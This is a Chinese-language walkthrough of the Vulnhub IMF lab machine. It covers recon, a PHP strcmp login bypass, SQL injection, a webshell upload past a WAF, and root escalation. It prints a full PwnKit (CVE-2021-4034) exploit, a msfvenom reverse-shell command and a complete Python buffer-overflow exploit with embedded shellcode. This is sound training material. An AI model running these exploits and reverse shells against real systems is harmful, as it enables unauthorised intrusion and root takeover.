IMF靶场练习

信息收集

# nmap -sn 192.168.1.0/24 -oN live.nmap                        
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-12 11:23 CST
Nmap scan report for 192.168.1.1
Host is up (0.00017s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.1.2
Host is up (0.00015s latency).
MAC Address: 00:50:56:FE:B1:6F (VMware)
Nmap scan report for 192.168.1.68
Host is up (0.00048s latency).
MAC Address: 00:0C:29:3F:28:D8 (VMware)
Nmap scan report for 192.168.1.254
Host is up (0.00069s latency).
MAC Address: 00:50:56:F6:03:39 (VMware)
Nmap scan report for 192.168.1.60
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.96 seconds

拿到目标靶机的IP地址为192.168.1.68

# nmap -sT --min-rate 10000 -p- 192.168.1.68 -oN port.nmap   
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-12 11:23 CST
Nmap scan report for 192.168.1.68
Host is up (0.0028s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:3F:28:D8 (VMware)

仅开放了80端口,http服务!那么突破点就是在80端口上了!

# nmap -sT -sC -sV -O -p80 192.168.1.68 -oN details.nmap 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-12 11:24 CST
Nmap scan report for 192.168.1.68
Host is up (0.00047s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: IMF - Homepage
MAC Address: 00:0C:29:3F:28:D8 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (93%), Linux 3.16 - 4.6 (93%), Linux 3.2 - 4.9 (93%), Linux 4.4 (93%), Linux 4.2 (90%), Linux 3.13 (90%), Linux 3.18 (89%), Linux 3.13 - 3.16 (87%), Linux 3.16 (87%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

80端口上是Apache httpd 2.4.18 开启的http服务! 网站的title为IMF - Homepage 目标靶机运行在vm上,Ubuntu系统。

# nmap -sT --script=vuln -p80 192.168.1.68 -oN vuln.nmap 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-12 11:25 CST
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.68
Host is up (0.00050s latency).

PORT   STATE SERVICE
80/tcp open  http
|_http-phpself-xss: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 127.0.1.1
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:3F:28:D8 (VMware)

nmap的漏洞脚本扫描,并没有发现什么有价值的信息,只是一个内网IP地址的泄露!

渗透测试

首先进入网站的首页看一下,同时准备进行目录的爆破:

IMF靶场练习_第1张图片

"Impossible Mission Force" ---- 不可能使用暴力解决? 英语真的蛮重要的~ 看了相关资料:

IMF靶场练习_第2张图片

IMF靶场练习_第3张图片

在Contact US中的源码发现了第一个flag!其中里面的字符是base64编码的!

IMF靶场练习_第4张图片

经过base64转换后的结果是allthefiles? 这是一个参数嘛还是什么? 目前不得而知!先做一下目录的扫描把:

IMF靶场练习_第5张图片

经过目录扫描后,没有什么发现。 后面又在contact界面找到了三个用户名!

IMF靶场练习_第6张图片

一直找不到突破点是什么,上面得到的allthefiles,看起来也没什么用。抓包的时候,发现了请求包中的js代码名 看起来好像base64:

查看源码,发现这三个js文件,将三个文件名,进行拼接后再base64解码:

IMF靶场练习_第7张图片

拿到了flag2,再解密里面的内容看看有什么东西!

IMF靶场练习_第8张图片

这是用户嘛?还是路径或者参数呢? 尝试一下路径,因为没有开放22端口,同样也没找到相关的登陆点:

IMF靶场练习_第9张图片

找到了后台的登陆点!查看源码中拿到相关提示:

IMF靶场练习_第10张图片

说是sql无法正常的工作,所以采用了硬编码密码,他觉得还是很安全的!

IMF靶场练习_第11张图片

尝试使用弱口令登录,发现提示无效的用户名,尝试以下四个用户:

roger
rmichaels
akeith
estone    上面收集的用户名

IMF靶场练习_第12张图片

当使用rmichaels用户进行登录的时候,发现提示变了,变成了无效的密码。因此这里可以尝试去爆破这个用户的密码,还有一个方法就是判断是否存在sql注入漏洞。

这里在使用sqlmap进行sql注入测试的时候,发现存在WAF/IPS~

IMF靶场练习_第13张图片

貌似不存在sql注入~ 可能是由于WAF的存在导致的!这里就没有了思路。利用常用字典和爬虫作为字典进行了爆破了,也没有什么突破!

IMF靶场练习_第14张图片

同时利用cewl进行爬虫,拿到相关的关键字作为字典进行爆破:

IMF靶场练习_第15张图片

也是没什么收获~

又又又看了大佬们的wp,由于提示是存在硬编码,在php中,硬编码存在三种,分别是=== 、==以及strcmp函数的利用!

if($_POST['pass']===$password){
  	echo "login success";
}

if($_POST['pass']==$password){
  	echo "login success";
}

if(strcmp($_POST['pass'],$password)){
  	echo "login success";
}

前面两种可能存在md5值的比较,需要利用0e开头的字符串进行绕过!strcmp函数是存在漏洞的,在php版本高于5.3的时候,如果是字符串和数组比较,那么就会直接返回0 低于5.2 返回的是-1

因此就将pass参数改为数组格式尝试:

IMF靶场练习_第16张图片

成功登录上来,并且获得了flag3;尝试继续解码,同时给了一个地址!

IMF靶场练习_第17张图片

又给了一个参数,尝试访问cms.php?pagename=home

IMF靶场练习_第18张图片

看到这里的url参数,这里又可以去测试是否存在sql注入和任意文件读取:

IMF靶场练习_第19张图片

不存在任意文件读,尝试sql注入:

IMF靶场练习_第20张图片

报错了,可能存在sql注入了,这里就可以尝试sqlmap跑一下:

发现admin数据库:

IMF靶场练习_第21张图片

先看admin数据库:发现了page这个表,在表里面发现了4个文章,但是网站上只有三个,看看这个Traing class里面有什么:

IMF靶场练习_第22张图片

发现一个图片,里面存在着二维码。

尝试扫描得到相关flag:

IMF靶场练习_第23张图片

继续解码:

IMF靶场练习_第24张图片

拿到了一个文件上传的php文件,应该就可以进行文件上传了:

IMF靶场练习_第25张图片

尝试上传反弹shell!好好好 不能直接上传php文件:

IMF靶场练习_第26张图片

抓包进行绕过!直接全部改成png的特征上传,哦吼存在WAF给拦了:

IMF靶场练习_第27张图片

直接上蚁剑马,连接蚁剑:但是需要绕过php,这里应该是白名单了,只能图片相关的后缀。

IMF靶场练习_第28张图片

发现使用00截断失败了,它保留了后面的后缀名,前面的没了,好奇怪啊;

最后,我又看了wp,直接上传gif,上传的gif被php解析了。

IMF靶场练习_第29张图片

开始上传一句话木马,结果eval又被检测了。需要做一下绕过:

IMF靶场练习_第30张图片

上传成功,尝试利用蚁剑连接:

IMF靶场练习_第31张图片

连接成功!尝试上传msf反弹shell!

IMF靶场练习_第32张图片

准备上传的时候,发现了flag5:

IMF靶场练习_第33张图片

flag5{YWdlbnRzZXJ2aWNlcw==}

IMF靶场练习_第34张图片

上传msf反弹shell可执行文件,给执行权限:

IMF靶场练习_第35张图片

msf起监听,同时在蚁剑中执行文件:

IMF靶场练习_第36张图片

提权

利用python提升shell的交互性,同时设置一个环境变量xterm-color:

python3 -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm-color

查看/etc/passwd文件:发现了一个用户为setup!

IMF靶场练习_第37张图片

之后来到了网站的目录下,查看了相关的文件,发现在cms.php文件中:

IMF靶场练习_第38张图片

找到了数据库的账号和密码!

同样找到了过滤文件的内容:

里面写了禁用的函数,以及对文件格式的检查! 还有在index文件中找了硬编码的密码:

IMF靶场练习_第39张图片

目前找到的相关密码的东西:
398fj289fj2389fj398fjhhds^&#hkseifw3893h#(&$$*838hjf
3298fj8323j80df!49

内核漏洞提权

尝试碰撞相关密码,但是失败了~ 寻找了内核漏洞进行提权:

https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c

利用内核漏洞进行提权:

#include 
#include 
#include 

char *shell = 
        "#include \n"
        "#include \n"
        "#include \n\n"
        "void gconv() {}\n"
        "void gconv_init() {\n"
        "       setuid(0); setgid(0);\n"
        "       seteuid(0); setegid(0);\n"
        "       system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
        "       exit(0);\n"
        "}";

int main(int argc, char *argv[]) {
        FILE *fp;
        system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
        system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
        fp = fopen("pwnkit/pwnkit.c", "w");
        fprintf(fp, "%s", shell);
        fclose(fp);
        system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
        char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
        execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

开启一个简单的http服务,在靶机上使用wget下载exp文件,然后编译成可执行文件:

gcc exp.c -o exp
chmod +x exp
./exp

IMF靶场练习_第40张图片

在root目录发现了最终的flag!

IMF靶场练习_第41张图片

还有一种提权的方法!缓冲区溢出提权!

缓冲区溢出提权

(关于缓冲区溢出提权,是根据wp来做的,本人涉及到了知识点的盲区-缓冲区溢出提权)

利用flag5,通过base64解码得到的相关提示!agentsevice!判断agent可能存在相关漏洞!利用find命令去搜索agent:

find / -name agent 2>/dev/null

共得到两个文件,分别查看两个文件:

IMF靶场练习_第42张图片

service agent相关配置。服务端是/usr/local/bin/agent 而端口是7788端口!在/usr/local/bin目录下存在两个文件,其中一个文件存在三个端口:

IMF靶场练习_第43张图片

agent文件,执行后,需要输入Agent id,暂时不知道ID是什么!

IMF靶场练习_第44张图片

尝试将agent文件拿下来:

#首先将文件进行base64编码:
base64 /usr/local/bin/agent

#查看agent的md5哈希值
md5sum agent
#将base64编码的内容复制到本地文件中:
gedit base64.txt
#然后在进行base64转码 保存为agent!
cat base64.txt | base64 -d > agent
#最后一步就是校验md5哈希值是不是相同!

IMF靶场练习_第45张图片

这里提出一个疑问,直接用蚁剑下载不就好了? 干嘛这么麻烦呢? 由于之前在/usr/local/bin目录下发现的access_code文件中存在三个端口。

于是这又涉及到端口碰撞相关知识点!

端口碰撞/端口试探

这是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦受到正确顺序的连接尝试,防火墙就会动态的打开一些特定的端口给允许尝试连接的主机。

端口试探的主要目的是防止攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP TCP数据包,当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列是正确的,则开启相应端口,或者防火墙允许客户端通过。

由于对外的Linux服务器通过限制IP地址的方式来进行控制访问,因此可以利用这种端口试探的方式来进行防火墙对于IP地址的限制!

于是在kali中尝试将端口进行碰撞开:

knock 192.168.1.68 7482 8279 9467

IMF靶场练习_第46张图片

重新进行端口扫描:

IMF靶场练习_第47张图片

发现开放了7788端口,尝试利用nc进行连接:

IMF靶场练习_第48张图片

发现这就是我们在靶机上运行的agent程序!但是不知道Agent id是什么!于是利用了ltrace对agent文件进行分析:

ltrace ./agent

随意的输入数字:

IMF靶场练习_第49张图片

于是在程序中发现了strncmp函数去比较了我们输入的id和后面的数字串,那么也就得到了真正的id。

为了防止缓冲区溢出这种情况的出现,在C库函数中,许多对字符串操作的函数都有其“n兄弟”版本,例如strncmp、strncat、snprintf......兄弟版本的基本行为不变,但是通常在参数中需要多给出一个整数n,用于限制操作的最大的字符数量。

甚至通过strings agent发现,程序中两个地方都使用了“%s”,这很可能是一个有效的溢出点。

IMF靶场练习_第50张图片

使用gdb测试,发现第三个选项栏存在缓冲区溢出漏洞:(测试环境搭建如下)

gdb-pada安装:默认下载到/root目录
1. 下载peda
	git clone https://github.com/longld/peda.git
2. 下载Pwngdb
	git clone https://github.com/scwuaptx/Pwngdb.git 
3. 下载pwndbg
	git clone https://github.com/pwndbg/pwndbg
4. 先安装pwndbg
	cd /root/pwndbg
	./setup.sh
6. 再配置下Pwngdb
	cd /root
	cp Pwngdb/.gdbinit .
	vim .gdbinit
8. 在第二行添加:source ~/pwndbg/gdbinit.py

IMF靶场练习_第51张图片

整个安装的过程比较缓慢!

使用gdb测试
#先使用该工具生成200个字符
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200

#开启服务
gdb  ./agent

IMF靶场练习_第52张图片

#执行
run
#输入ID
48093572

IMF靶场练习_第53张图片

#选择有漏洞的服务
3
#粘贴生成的200个字符

#最终生成一个16进制的地址

IMF靶场练习_第54张图片

最终生成一个16进制的地址 : 0x41366641

使用解密工具找到偏移量:168
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641

IMF靶场练习_第55张图片

利用checksec 来检查是否存在安全机制:

checksec

cat /proc/sys/kernel/eandomize_va_space   --查看ASLR设置

IMF靶场练习_第56张图片

0 = 关闭
1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)
2 = 全随机。除了1中所述,还有heap。
说明存在随机化!ASLR功能的程序使用ret2reg(返回寄存器)指令来利用缓冲区溢出
jmpcall eax    或者asmsearch "jmp eax"  
									 asmsearch "call eax"

IMF靶场练习_第57张图片

得到EAX地址!

目前得到了JMP值:0x8048563 偏移量为168 接下来就是创建shellcode,写个脚本直接拿下。

接下来创建后门,避免使用空字符和换行符!

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.113.128 LPORT=6666 -f python -b "\x00\x0a\x0b"

-b 坏字符
\x00 == 0x00 ASCII控制字符表中对应NULL(空字符)
\x0a == 0X0a ASCII控制字符表中对应 LF (换行键)
\x0d == 0x0d ASCII控制字符表中对应 VT (垂直定位符号)

IMF靶场练习_第58张图片

最终脚本如下:

#!/usr/bin/python2
import time, struct, sys
import socket as so
 
 
buf =  b""
buf += b"\xdd\xc1\xba\xf1\x42\x10\x13\xd9\x74\x24\xf4\x5e"
buf += b"\x2b\xc9\xb1\x12\x83\xc6\x04\x31\x56\x13\x03\xa7"
buf += b"\x51\xf2\xe6\x76\x8d\x05\xeb\x2b\x72\xb9\x86\xc9"
buf += b"\xfd\xdc\xe7\xab\x30\x9e\x9b\x6a\x7b\xa0\x56\x0c"
buf += b"\x32\xa6\x91\x64\x05\xf0\x63\x48\xed\x03\x64\xa1"
buf += b"\xb1\x8a\x85\x71\x2f\xdd\x14\x22\x03\xde\x1f\x25"
buf += b"\xae\x61\x4d\xcd\x5f\x4d\x01\x65\xc8\xbe\xca\x17"
buf += b"\x61\x48\xf7\x85\x22\xc3\x19\x99\xce\x1e\x59"
 
 
buf += "A" * (168 - len(buf))
 
buf +="\x63\x85\x04\x08\n"
 
try:
   server = str(sys.argv[1])
   port = int(sys.argv[2])
except IndexError:
   print "[+] Usage example: python %s 192.168.56.101 7788" % sys.argv[0]
   sys.exit()
 
s = so.socket(so.AF_INET, so.SOCK_STREAM)   
print "\n[+] Attempting to send buffer overflow to agent...."
try: 
   s.connect((server,port))
   s.recv(1024)
   s.send("48093572\n")
   s.recv(1024)
   s.send("3\n")
   s.send(buf)
   s.recv(1024)
   print "\n[+] Completed."
except:
   print "[+] Unable to connect to agent over port 7788. Check your IP address and port. Make sure 7788 is really open."
   sys.exit()

IMF靶场练习_第59张图片

IMF靶场练习_第60张图片

总结

整个靶机涉及到的知识点相当多,难度也是稍微偏上。后续会继续对这个靶机进行研究,其中缓冲区溢出漏洞的利用对本人来说还是难度大了一点。

你可能感兴趣的:(Vulnhub,网络安全,学习,web安全,安全威胁分析,数据库)